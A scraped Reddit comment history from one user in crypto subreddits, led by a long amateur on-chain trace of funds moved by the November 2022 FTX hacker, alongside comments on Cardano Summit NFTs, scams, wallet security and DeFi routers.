https://etherscan.io/address/0x59abf3837fa962d6853b4cc0a19513aa031fd32b - **History** - This one's been around for 8 days since Nov 12 - It's been growing ETH. Started with 160k ETH. Grew to 200k ETH on Nov 15 and then to 250k ETH on Nov 19. 50k ETH has been swapped or transferred out today. - On the first day, it was sent out to 26 different addresses. - Apparently, he found out that PAXG swaps were the weakest link and was able to swap to $60M of it. - Since then, it has stayed quiet (other than for shitcoin transfers) until today. There was 1 lone Tx on Nov 15 for token approval for [DAI on CoW Protocol](https://etherscan.io/tx/0x7b863b03815cc6ea7b1406d6d8dbea37b15c8eb8471d7c1c46f2126e38ab0f52) - Suddenly today, it has become active again - **Current balance** - 200k ETH, down from 250k ETH yesterday. that's a difference of about $60M USD worth of ETH that went elsewhere. - $14M of PAXG - 70+ random shit tokens. Some were sent by others to insult the owner. Some were swapped into by the owner. - **Nov 12 activity** - This guy is an absolute DeFi degenerate. He's possibly testing for blacklists on his first day or trying to exit as fast as he can. He used over a dozen different swaps. - Did tons of token approval. I stopped listing the duplicates on different dApps. For example, he tested approvals for PAXG on at least a dozen swaps. And these are just what I can see on the blockchain. - There is: [stETH](https://etherscan.io/tx/0xc5ae2cd094170c18d0aa82ad14e5fbb7a53b3b86ccfc881fb4aaaa83f5cfb69f), [USDT](https://etherscan.io/tx/0xb6b498e674fbaae3efdbfc1ffb5d2a3ac3549161ab2118088017d2cebbd6340d), [LINK](https://etherscan.io/tx/0xb4e3b44657a4546ca967650d2b8f8af16829d93883b3a37fbfa193bd47d49716), [USDP](https://etherscan.io/tx/0x22dc8550be7041b34818a342abef481c5517288d89c1df4dfd0dfaf5f579a5e7), LDO, WBTC, SUSHI, YFI, 1INCH, UNI, LINK, MATIC, PAXG, SHIB, AAVE, APE, PAXG, SNX - Swapped [523k USDT for USDC](https://etherscan.io/tx/0xb9857a076025f9706adb683c11106b2dae1e52b9cbb0966786db16d99e1a463e) - Swapped [14M USDT for cUSDT](https://etherscan.io/tx/0x8e098da849cfa3c4daaad824177d73bda94cfe95203e5734fa419b2ec1ea6632) - Swapped [14.5M USDT for DAI](https://etherscan.io/tx/0x5c3f5781bbd28ffae925109f6126792180f6745b9e5b08cc58eaf3d69bf0810a) - Swapped [2M worth of WETH and LDO??](https://etherscan.io/tx/0xbad2f38ea708e65640ad649f5f3b1e143d4afc35c6b340b2ab9336ecf951703d) - Swapped [Transferred 4M MATIC to the MATIC bridge](https://etherscan.io/tx/0xf8fe892c720cd9a4b0a81efebb142cbf1625f43c438ecd936ef533c1c3a929a9). Oh boy. Someone will need to analyze this separately. - Swapped [1k PAXG for WETH, $1.4M worth](https://etherscan.io/tx/0x21aaf38ad18e1b390f588f32c31bd2ad02d068a26598b2ca940c94bee3e37609). Interesting since he did [it again](https://etherscan.io/tx/0x5ed11e10d36a78f10da3d09befdc8e1dc5aac0ca655c9d43be154cc401a50776) and [again](https://etherscan.io/tx/0x21aaf38ad18e1b390f588f32c31bd2ad02d068a26598b2ca940c94bee3e37609) and [again](https://etherscan.io/tx/0x5ed11e10d36a78f10da3d09befdc8e1dc5aac0ca655c9d43be154cc401a50776). These stand out. Probably hitting liquidity issues. - Several hours go by - Swapped [PAXG for WETH](https://etherscan.io/tx/0x52fd904ea8197dfb69b90fcbbd7c6329858733b0e8214cdbde2fe2ead8b1e7c5) - I'm not going to list all of these. He made a dozen more transactions to swap [$25M PAXG for WETH](https://etherscan.io/tx/0x4c7b801cc0a88ab666cde09ad5cd8cd469b8a17260c2122d006b1eb12b42ae69) using KyberSwap. - [Random Maker proxy registry](https://etherscan.io/tx/0x285be6046890dc9a7c72017520bfb1200a18953786a7bcfb6fb23a46a5272133), it seems for PAXG. - **Nov 12 activity** - [Sent $5.9M ETH](https://etherscan.io/tx/0xe3f288d78d9fec42ef83b3196de2ecd545d7c7cfcd7dd461389fd17337bcf122) to Side address 5 - [Sent $11.7M ETH](https://etherscan.io/tx/0xe3f288d78d9fec42ef83b3196de2ecd545d7c7cfcd7dd461389fd17337bcf122) to Side address 5 - [Sent $11.7M ETH](https://etherscan.io/tx/0x44a3c70c77d1881192f115c783c110b2235eb3ec33efa3fc06a87d038ed29c16) to Side address 5 - [Sent $29.3M ETH](https://etherscan.io/tx/0x28ac04b18bfc618a6bbc567802bb473337ca426a5feb9f50aeeef5f5da36af39) to Side address 5 ####**Side addresses** - **[FTX Account Drainer 2](https://etherscan.io/address/0xc40abf7e6499694ea6f965df96e39e51305e019a)** (22 Tx): - Token approvals for PAXG on multiple swaps - A [mega transcation](https://etherscan.io/tx/0x8b000351d036f3685a31a187e26207d6b5578cdbd3e3731b416ed0cfc8aee2ab) for PAXG, DAI, WETH, USDC. End result seems to be a $1.7M of PAXG swap to ETH. - Transferred 1 ETH to FTX Accounts Drainer 3 and [this random address](https://etherscan.io/address/0xdd200029980c0074ea999f245837583b9e8ab82e) - **[FTX Account Drainer 3](https://etherscan.io/address/0x5ea8132c16d6fa409c65d48c5e093a0dffa0d253)** (2 Tx): - Has $1k of ETH and $870k of PAXG - **[FTX Account Drainer 4](https://etherscan.io/address/0x9c43cbfc046889159d4d53e0069737a7a142a369 )** (1 Tx): - Has $870k of PAXG - **[Side Account 5](https://etherscan.io/address/0x866eeecd1f248d1a0a2e0263f13594a6b8b7c01a)** - This is the one that prompted multiple media posts. These swaps are pretty complicated. - Spend a lot of transactions on the [FTX Bahamas](https://etherscan.io/token/0x1b6588e5aa7ce5fa50e649fdd027c842a805beb4?a=0x866eeecd1f248d1a0a2e0263f13594a6b8b7c01a) shit token for some reason. - [Swapped $4.8M ETH for WBTC for renBTC](https://etherscan.io/tx/0xa9ea3c2dca16b25a0716bbe9a6cdc8c4725e32802ca23236c58d23d78eca63bd) - And again for [$3.5M](https://etherscan.io/tx/0x3d15c58ccbaa739029395499deea7637c9bdc07f8e1b8831086b10814b0b5d9f), [$1.2M](https://etherscan.io/tx/0x9fa52ecf8926140dd12eb24b65ce6f167c343f9fb323777463f5f0c40fb16692), ... and lots more for a total of $60M worth of tokens to renBTC. - Burned [$1.1M](https://etherscan.io/tx/0x71531f99f60d50c8d9a1b30ddf08b98e85475c2f205e7957927901efef64bc10), [$16.5M](https://etherscan.io/tx/0x4ecf6d253f5dea9229dab4029c19ae5d94344046306a5ccfc9122a5f1236f5c7), [$29M](https://etherscan.io/tx/0x7f292e8f1bda4a49ed1b760d8632620f2f693012d4173331d923758ea6b328f7), [$11.4M](https://etherscan.io/tx/0x1064e70c8312cbf19e1ce0cb8d6e838dbf313d4cea240b489e3e625bb39417d0) using the Ren BTC Gateway for a total of ~$60M. - So he's exiting to Bitcoin mainnet, and Bitcoin UTXOs are way harder to trace. Needs professional trace tools. - [Chainanalysis is already on the investigation](https://nitter.net/chainalysis/status/1594349583416840199) for the renBTC bridge exit. There are at least 6 other accounts of smaller activity ####**Sending shitcoins to famous people addresses** If it weren't obvious already that this isn't the government, he's trolling others by sending shitcoins to them. - [Twitter World Cup Inu to Vitalik](https://etherscan.io/tx/0x5ef187511fcb9b8a31c68f936ea37935ed4b98ea7db622a08b71d27ba9d15d66), [FTX Sucks to vitalik](https://etherscan.io/tx/0x83ca03a0cf018bfa52753ecf2b53bee3107fca6fede95bed7998648a824524ef) - [FTTCash to autistic](https://etherscan.io/address/0xe9bb3b9000c006cf5231908e8729d4c04d00d985) - [FTTCash to Ukraine Crypto Donation](https://etherscan.io/address/0x165cd37b4c644c2921454429e7f9358d18a45e14#tokentxns), [BAYC](https://etherscan.io/address/0xbc4ca0eda7647a8ab7c2061c2e118a18a936f13d#tokentxns) - [Follow me](https://etherscan.io/tx/0xe88d40b6343869cd10f4f8351d8f86db630cae1148de4ff54074cf3d5daf115c) to Yannick - Lots of Shitcoins like What happened, Dontfollowyannick, Fuck FTX, CRO Next to multiple exchanges. I can't list them all. - FTX Sucks to dozens like Vitalik, Ukraine Crypto, satoshi, multiple exchanges, 420, and dozens of other accounts. Anyways, I'm just one person tracing this for 2 hours. I'll leave it to the professionals like [Chainanalysis](https://nitter.net/chainalysis/status/1594349583416840199) to do a better job. One of the takeaways is that even if you blacklist one account, it's hard to actively trace the other accounts they're going to and actively block them.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 20, 2022 12:32:15
/r/CryptoCurrency/comments/z013or/ftx_hacker_aka_sec_of_bahamas_sends_eth_to/ix3tvrf/

There's no account address listed there linking these accounts to the other post. Do you really think the government would be swapping to all these shitcoins? The renBTC swap is just a tiny part of all the transactions happening.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 10:28:34
/r/cardano/comments/yzyfbx/cardano_summit_2022_lausanne/ix3rsna/

Clearly, it hasn't started yet. Have you been to a convention before? There are panels going on all over the convention.

Commented by /u/Maleficent_Plankton in /r/cardano on November 20, 2022 10:12:42
/r/cardano/comments/z01gjw/cardano_summit_2022_nft_quest/ix3r91a/

In your email with the code. I don't think you can get to it on the website.

Commented by /u/Maleficent_Plankton in /r/cardano on November 20, 2022 10:08:33
/r/ethereum/comments/yzt9zy/where_does_the_transactions_via_remixmetamask/ix3n0ao/

It only sends them if you use the injector option with your browser wallet. Otherwise, it's a virtual testnet that doesn't go anywhere. If you refresh the Remix page, all the accounts and workspace reset too.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 20, 2022 09:35:47
/r/CryptoCurrency/comments/z045h4/ftx_hacker_dumping_eth_hard/ix3lv3i/

It probably is blacklisted. That's why they're trading for low-liquidity tokens and lots of shitcoins instead of more stable ones. Almost zero stablecoins other than PAXG. I highly doubt this is the Bahamas government based on all this activity. We need a professional tracer to unravel this. There is way too much going on, and that renBTC is only a tiny fraction of it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 09:26:38
/r/ethfinance/comments/yzwmwi/daily_general_discussion_november_20_2022/ix3kbsv/

There is so much chaos on that account right now. He's converting to all sorts of random tokens and sending random tokens around, including a shitcoin to Vitalik. I have no idea what the purpose is. Maybe to hide tracks or cause chaos. I think the media is getting it wrong.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 20, 2022 09:13:40
/r/CryptoCurrency/comments/z0467v/ftx_exploiter_converts_millions_in_ether_to/ix3jv7w/

Because this isn't the government. He's hiding his tracks, converting to tons of different shitcoins. Doing all sorts of random swaps and sending random shitcoins all over. I honestly can't tell what his purpose is, except maybe to create chaos or hide his real intention.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 09:09:42
/r/CryptoCurrency/comments/z00krq/ftx_hacker_is_actively_dumping_eth_onchain/ix3ionn/

It went from $270M ETH to $240 ETH, $15M PAXG, and tons of shitcoins. Still mostly ETH. I'm not convinced the government is doing this. Why are they swapping for shitcoins?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 08:59:31
/r/CryptoCurrency/comments/z013or/ftx_hacker_aka_sec_of_bahamas_sends_eth_to/ix3h26j/

They're doing that, but they're doing a lot more. Swapping to all sorts of tokens: renBTC, wETH, wBTC, some random tokens. Most of it is going to their new shitcoin "FTX Bahamas" token: https://etherscan.io/token/0x1b6588e5aa7ce5fa50e649fdd027c842a805beb4?a=0x866eeecd1f248d1a0a2e0263f13594a6b8b7c01a Honestly, I can't tell what they're doing.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 08:45:06
/r/CryptoCurrency/comments/yzy9ef/solana_loses_1_billion_in_usdt_to_ethereum_in/ix2y1mp/

That was 1/3 the supply of USDT on Solana. Only [2B remaining](https://tether.to/en/transparency/) on Solana. So you can still swap it. There is just less of it. All of DeFi shrunk by 50% on Solana, so there is still more than enough USDT on Solana.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 04:46:57
/r/CryptoCurrency/comments/yzy9ef/solana_loses_1_billion_in_usdt_to_ethereum_in/ix2xttf/

That was 1/3 the supply of USDT on Solana. Only [2B remaining](https://tether.to/en/transparency/) on Solana. Also significant because both Binance and CDC disabled support for USDC and USDT and Solana yesterday. That's a huge hit.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 04:43:43
/r/cardano/comments/yztzm1/cardano_lodge_summit_nft_looks_rare/ix2ee2l/

There are supposedly 52 unique NFTs: * 1 main event - I think you get it in person when you attend the physical event. I haven't seen any of these listed for sale yet. * 1 virtual event (the one found in the Garden) * [50 community events](https://summit.cardano.org/community-led-events-locations/). It's impossible to collect more than one of these outside of an NFT marketplace.

Commented by /u/Maleficent_Plankton in /r/cardano on November 20, 2022 00:27:17
/r/CryptoCurrency/comments/yzq2un/pancakeswap_will_list_ory_in_december/ix2cvfv/

For a moment I thought he was talking about Orgy Like the [Alameda Gangbang "FTX Orgy"](https://arbiscan.io/token/0x86E5A4ebe90D1Ada711c1784183f6cAD2B9b8489) token

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 00:11:14
/r/CryptoCurrency/comments/yzvkpw/this_aged_like_milk/ix2c8e7/

Most users are trapped between a rock and a hard place: 1. Lose your coins because other people are bad at keeping crypto secure 1. Lose your coins because you're bad at keeping crypto secure

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 00:04:39
/r/cardano/comments/yz68zk/cardano_summit_nft_reveal_everyone_who_attends/ix26m2n/

####**My initial impressions** I attended the previous 2021 Summit, which was really cool. I feel that the UI for this year is so much worse. **The Positives**: * It's cool that they rebuilt the building * NFTs are better this time. They're more educational and rewarding! * I can mint the Summit NFT immediately for ~0.5 ADA **The Negatives**: * It's much harder to control. My character has [tank controls](https://en.wikipedia.org/wiki/Tank_controls) that requires me to look around by holding the right-mouse button. This feels like playing an early 1990s game, and I get nauseous in 5 minutes. I have to go through multiple obstacle courses for the NFTs with tank controls? * I have to get right up to tablets and screen to interact with them or see their title * Content keeps popping up in a separate window tab, which is really confusing when I'm on full-screen mode because it takes away my controls * Using dual screens is messy. If you click off screen while moving, your character keeps moving and does not stop even when you return to the screen. * Where can I find the NFT I minted? I see it in my wallet and on-chain, but I couldn't find a dApp to display it. * I miss my cute avatar from last year * jpg_store is super slow. And there are so many steps to get it working with the Eternl wallet. Price of the [Summit Lodge NFT](https://www.jpg.store/collection/cardanosummit2022) is currently ~25-30 ADA. **NFT locations** I only found 1 NFT * In the Hidden area from the Garden * Find 11 Quest facts here. * Summit Lodge - Turf NFT There are supposedly 52 unique NFTs: * 1 main event * 1 virtual event * 50 community events

Commented by /u/Maleficent_Plankton in /r/cardano on November 19, 2022 23:10:37
/r/MPlankton/comments/v16v7v/algorand_research_may_2022_draft/ix1pz26/

"Subsidized" in the sense that it costs way more to run the network and ecosystem than they are generating in transaction fees, currently [$160K/annually](https://tokenterminal.com/terminal/projects/algorand). Much of the popularity of the Algorand is promoted via rewards for relay nodes (multiple rounds), staking (now deprecated), and ongoing community rewards (governance). If they want to keep up that popularity, they will need to increase transaction fees 100x to cover those costs. At minimum, they need to cover the costs of relay and participation nodes. GhostOfMcAfee recently did [an analysis of the costs](https://np.reddit.com/r/CryptoCurrency/comments/ylp8yg/revisited_what_tps_does_algorand_need_to_be/). Technically, Algorand expects relay nodes and participation nodes to work for free in the future, but I don't see why anyone would stick around if all rewards were to disappear. It would end up becoming more like Nano.

Commented by /u/Maleficent_Plankton in /r/MPlankton on November 19, 2022 20:48:37
/r/ethfinance/comments/yz4znw/daily_general_discussion_november_19_2022/ix1hdyh/

https://i.imgur.com/YAGpXPd.png

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 19, 2022 19:39:11
/r/ethfinance/comments/yz4znw/daily_general_discussion_november_19_2022/ix1fj9p/

I've got to study EOS one day.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 19, 2022 19:24:17
/r/CryptoCurrency/comments/yzortk/psa_scam_nfts_are_never_safe_to_interact_with/ix1ck7x/

2 things about this: 1. 'sendAllEthToMyWallet()' does not exist. The amount of ETH they can steal is limited by '**msg.value**'. You can't arbitrarily take an EOA's ETH unless they're sending that much in the transaction. 1. The proper way to safely interact with a contract without having to trust them is to have someone read the contract code first. Obviously, most people don't know how to read code, so you'll still have to trust the person/group verifying it for you.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 19:00:42
/r/CryptoCurrency/comments/yzortk/psa_scam_nfts_are_never_safe_to_interact_with/ix1azw2/

Can confirm. I saw 500+ karma on several scam posts on subs that didn't even have that many active members.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 18:48:09
/r/CryptoCurrency/comments/yzma31/charles_hoskinsons_company_is_abandoning_plutus/ix13h0u/

> a few others Only a few others? I think you mean the vast majority of blockchains that are EVM-compatible.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 17:49:57
/r/CryptoCurrency/comments/yzkc5l/the_bitcoin_subreddit_wont_answer_me_why_should/ix0z6m1/

Actually, I might be wrong about that. It uses ECDSA, and then it hashes it with SHA256 and RIPEMD160: https://learnmeabitcoin.com/technical/public-key-hash So only the very earliest address that used P2PK are vulnerable.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 17:17:05
/r/CryptoCurrency/comments/yzkc5l/the_bitcoin_subreddit_wont_answer_me_why_should/ix0x3zo/

The weak point isn't SHA256. It's with private to public key generation, which uses ECDSA.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 17:01:25
/r/CryptoCurrency/comments/yzkc5l/the_bitcoin_subreddit_wont_answer_me_why_should/ix0wg81/

Here's a scary thought: There are already traffic scrubbers that store boatloads of encrypted traffic. Once ECDSA is broken, they'll be able to decrypt those packets and steal everyone's passwords. For Bitcoin, every public key will be used to crack their private keys. Satoshi's private keys will also be broken.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 16:56:28
/r/ethereum/comments/yz93tm/can_ethereum_solve_the_ticketmaster_problem/iwzwjju/

How does GET protocol prevent scalping? That's the biggest issue with the ticketing system.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 19, 2022 12:40:08
/r/ethereum/comments/yz93tm/can_ethereum_solve_the_ticketmaster_problem/iwzwd7j/

**The problem with this is scalping.** How do you prevent scalping? Unless you can solve that problem, nothing else matters. **Here's a potential solution**: You could use a smart contract to force them to create a ticket with a hash of their real name. So when they present their ticket at the booth, they can provide ID and verify their transaction hash. There are 2 downsides to this: * It's gas-expensive. Every 32 bytes of storage = 20000 gas. Expect gas price to shoot up 10-100x during that time. BUT if you're paying $200+/ticket, it's probably not a big deal. * Tickets will be non-transferrable to prevent scalpers. Instead, let them resell tickets back to the exchange for a small refund. Then the space will be freed, and someone else can buy it.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 19, 2022 12:38:54
/r/CryptoCurrency/comments/yzfrs1/can_someone_explain_the_benefit_of_a/iwzp5wv/

It's a cheap backup of the hardware wallet if the hardware one breaks or is lost.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 11:47:20
/r/CryptoCurrency/comments/yzfplz/ftx_assets_seizure_confirmed/iwzordc/

Regulators in the Bahamas have seized 100s of millions of dollars of FTX assets.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 11:44:25
/r/CryptoCurrency/comments/yzfplz/ftx_assets_seizure_confirmed/iwzol3g/

> Ether drops 4% in a week, and Bahamas regulator confirms FTX asset seizure: CNBC Crypto World **That's it. That's the WHOLE article**

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 11:43:08
/r/CryptoCurrency/comments/yzfmmo/vitalik_buterin_coinbase_kraken_binance_promote/iwzo68z/

You're not going to get anything out of a single paragraph with this article. A TLDR is probably going to be 3 paragraphs at minimum. It's pretty technical.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 11:40:12
/r/CryptoCurrency/comments/yze62o/ticketmaster_botched_the_sale_of_taylor_swift/iwzna2s/

Short answer: no Online anonymous ticketing system are weak to sybil attacks. How are you going to prevent people from creating thousands of fake accounts to poach tickets? Also, even something as centralized as BSC is only as powerful as a single 100MHz computer. You would have to optimize nearly all of it off-chain to run a ticketing system.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 11:33:34
/r/CryptoCurrencyMeta/comments/yz0n3x/preproposal_draft2_increase_parent_comment/iwyep7a/

I think 100 is just enough. It's the minimum to show that you're trying. Any more, and people start adding filler, and readers stop reading.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on November 19, 2022 03:33:08
/r/CryptoCurrency/comments/yz6gw7/forget_politics_stop_asking_for_permission_and/iwyee8o/

It's clickbait. Article doesn't even mention utility beyond the title.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 03:28:43
/r/CryptoCurrency/comments/yz4ege/im_interested_in_running_a_blockchain_social/iwyb2kd/

If it's interesting, I could imagine people doing it for free or $10K. There are plenty of communities who love building servers and theory-crafting for games, and they do it for free. I used to host a very amateurish LAMP (Linux, Apache, MySQL, PHP/Perl/Python) website for statistical analysis. There were several teams who built basic tools that automated pulling data from the online game into large databases and analyzing them. It was just for fun. Not a single one of us made money from it. On the NFT side, web3 and solidity are actually fairly easy Javascript libraries to learn. But they do have a learning curve, and it is very hard to make secure because there are so many places for exploits. Unfortunately, I haven't done this in a decade and am so rusty that I wouldn't volunteer for this.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 02:41:07
/r/CryptoCurrency/comments/yz4xl3/arbitrum_coins/iwy8xy3/

I think the ZK rollups will be good after zkEVM is released. Until then, there will be limited development for them. Their explorers look quite different than those of EVM explorers, and I can't see any details of their contracts.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 02:11:29
/r/CryptoCurrencyMeta/comments/yqkvfy/proposal_method_to_fact_check_posts/iwy8bn8/

This might not be technically possible. I think every time a post is distinguished and stickied, all the child comments are collapsed by default. That would defeat the purpose of discussion.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on November 19, 2022 02:03:21
/r/MPlankton/comments/yz5vty/pinned_test_please_ignore/iwy84u4/

Awooooo Hello 03.02

Commented by /u/Maleficent_Plankton in /r/MPlankton on November 19, 2022 02:00:49
/r/MPlankton/comments/yz5vty/pinned_test_please_ignore/iwy84ia/

Awooooo Hello 02.02

Commented by /u/Maleficent_Plankton in /r/MPlankton on November 19, 2022 02:00:43
/r/MPlankton/comments/yz5vty/pinned_test_please_ignore/iwy83fi/

Awooooo Hello 03.01

Commented by /u/Maleficent_Plankton in /r/MPlankton on November 19, 2022 02:00:18
/r/MPlankton/comments/yz5vty/pinned_test_please_ignore/iwy830c/

Awooooo Hello 02.02

Commented by /u/Maleficent_Plankton in /r/MPlankton on November 19, 2022 02:00:10
/r/MPlankton/comments/yz5vty/pinned_test_please_ignore/iwy82h8/

Awooooo Hello 01.01

Commented by /u/Maleficent_Plankton in /r/MPlankton on November 19, 2022 01:59:59
/r/CryptoCurrency/comments/yz58qe/symbiogenesis_the_first_nft_game_from_square_enix/iwy7b45/

I've searched around for more details on this, and not a single website has posted anything. [Their Twitter](https://nitter.net/symbiogenesisPR) doesn't even show any screenshots or gameplay. Zero details other than it's an NFT project.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 19, 2022 01:50:03
/r/ethfinance/comments/yycn3b/daily_general_discussion_november_18_2022/iwy5p1u/

I confirm that I ordered it and already received the reimbursement. Thank you /u/superphiz

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 19, 2022 01:29:13
/r/CryptoCurrency/comments/yyrfii/found_coinbases_btc_wallet/iwvt1uk/

That's an address, not a wallet. There are 10^160 or something like that addresses that can be generated per wallet's private key.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 18, 2022 13:56:31
/r/ethereum/comments/yyq8vg/disappointed_in_the_trust_wallet_twt_airdrop_new/iwvn7pk/

Multiple subs are being attacked by armies of bots.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 18, 2022 13:17:04
/r/ethereum/comments/yyq8vg/disappointed_in_the_trust_wallet_twt_airdrop_new/iwvn0rk/

This is a fake link. Please ban this user and report other links being posted. There are multiple accounts doing this and mass downvoting with bots.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 18, 2022 13:15:46
/r/ethereum/comments/yyners/decentralised_exchange_dydx_reinstates_liquidity/iwvim1o/

To explain why this isn't a scam, this isn't normal staking. This is liquidity staking. You get paid in (wrapped) USDC for providing liquidity services. That's the fees you earn from customers.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 18, 2022 12:45:54
/r/CryptoCurrency/comments/yyny3a/introducing_permit2_universal_router/iwv6uku/

You should summarize this because it's very technical and very important for all the contacts that use Uniswap routers, including our 2 Moon swaps on Arbitrum Nova.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 18, 2022 11:27:09
/r/CryptoCurrency/comments/yyj2rw/whale_moved_200m_into_binance_after_moving_34m/iwv58pv/

Who knows, who cares. We're all just purely speculating. It could just be that they trust Binance more than the others. Pretty much everyone is pull out funds from smaller exchanges. Maybe they want to sell and Binance has more liqudity. No one knows except for that specific whale.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 18, 2022 11:16:25
/r/CryptoCurrencyMoons/comments/yyh9zl/cant_tip_moons_as_reddit_web_says_i_have_no_eth/iwuvz2v/

There is technically no way to do this without meta-transactions. Reddit would need to enable their wallet with a meta-transaction app where we can sign transactions and have them send it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMoons on November 18, 2022 10:12:25
/r/CryptoCurrency/comments/yyim76/serious_the_ftx_disaster_is_deeper_than_you_think/iwutf6r/

I think the biggest looming issue from this fiasco is how easy it is to design a cryptocurrency that is effectively a slow rugpull using SBF's strategy. **Normal rugpull stategy**: Create a token and limit circulation and liquidity. Pump it by buying it yourself. Get social media interest. Dump it while using others as exit liquidity. The downside is that you only can do this once per token, and you have to do this anonymously and rebuild your reputation each time. **SBF rugpull strategy**: Similar, but uses VCs and listing on FTX for pumping. Then instead of immediately dumping, take loans from CeFi with shitcoin as collateral for the exit strategy. The downside is that if your FTT token falls beloe a certain value ($22), your loans liquidate and it all collapses. **Slow rugpull via inflation strategy**: This is the problem with most of crypto. Most altcoins are a 10-20 year scale of a rugpull. Their liquidity is small at the beginning, so they can use VC interest to pump up the price and gain interest. Over a decade, the value of the altcoin decreases due to inflation, slow selling of tokens by insiders, and lack of interest. Most of the larger altcoins can escape this by being popular enough that there is sufficient utility to offset inflation. **Bitcoin strategy**: Similar to the slow strategy, but on a half-century timescale, and there is a supply cap. Instead, due to declining block subsidy, it's a slow decline of security budget and block subsidy that will eventually result in fewer miners and greatly increasing transaction fees.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 18, 2022 09:54:09
/r/CryptoCurrency/comments/yyjyc4/whats_the_plan_for_moons/iwur8gt/

Yep. Moons are like Tezos in that aspect: No roadmap and gets completely lead by whatever governance poll passes.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 18, 2022 09:38:07
/r/CryptoCurrency/comments/yyl753/the_notannual_reddit_cup_is_here/iwuqicu/

It's just normies. You forget that normies are all Buttcoin is basically normal people with slightly more knowledge about crypto. And everyone is still hating Qatar for their treatment of migrant workers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 18, 2022 09:32:36
/r/ethfinance/comments/yycn3b/daily_general_discussion_november_18_2022/iwupiw3/

Sure. I will get one. Please send me details. I like how I routinely post the same content in both r_CC and Ethfinance, and my ethfinance posts get 10x as many upvotes as my r_CC ones despite that the Ethfinance sub is 100x smaller. I swear r_CC doesn't have the attention span to read past the title.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 18, 2022 09:25:11
/r/TikTokCringe/comments/yxq61s/an_ode_to_the_housing_market/iwtuy6v/

What do you mean? Without that, apartments wouldn't exist. There are plenty of people who only want to stay in a region for a couple of years and want to rent.

Commented by /u/Maleficent_Plankton in /r/TikTokCringe on November 18, 2022 03:35:50
/r/CryptoCurrency/comments/yybs3f/layer_1_blockchain_ergo_adopts_cardanos_babel_fee/iwto4wd/

The one I had in mind is a much bigger factual error, not just a grammatical one. But I'll correct that one first.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 18, 2022 02:01:00
/r/CryptoCurrency/comments/yxwwmm/rcc_cointest_coin_inquiries_winners_general/iwtktdx/

The categories rotate monthly. "Coin inquiries" round focuses on small-cap cryptoassets.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 18, 2022 01:19:09
/r/CryptoCurrency/comments/yybs3f/layer_1_blockchain_ergo_adopts_cardanos_babel_fee/iwth2le/

Ergo is actually quite interesting among blockchains because it has such a heavy focus on on-chain governance and constantly updating itself. Ergo looks different every single year, and no one really knows what to expect in future governance proposals.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 18, 2022 00:36:23
/r/Gemini/comments/yy31pr/just_got_the_tokens_deposited_i_requested_from/iwt2fv3/

Holy shit. Why did you pick so many different tokens? Did you actually investigate them before buying them?

Commented by /u/Maleficent_Plankton in /r/Gemini on November 17, 2022 22:20:18
/r/ethfinance/comments/yxi8om/daily_general_discussion_november_17_2022/iwt1n46/

I don't think that's right. You can't do it with normal calls. But you can use delegatecall to call approve functions from multiple contracts while keeping the msg.sender the same. So create a custom contract with with multiple delegate calls to approve functions.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 17, 2022 22:13:49
/r/ethfinance/comments/yxi8om/daily_general_discussion_november_17_2022/iwt058v/

Only if their router is being used. For example, both RCPSwap and SushiSwap on Arbitrum Nova use the Uniswap v2 router. Many of the more efficient and complex NFT swaps dApps already have features of this new Universal Router that allow them to swap tokens and NFTs. But this would be a huge improvement for smaller teams that just want to use a popular router instead of designing their own.

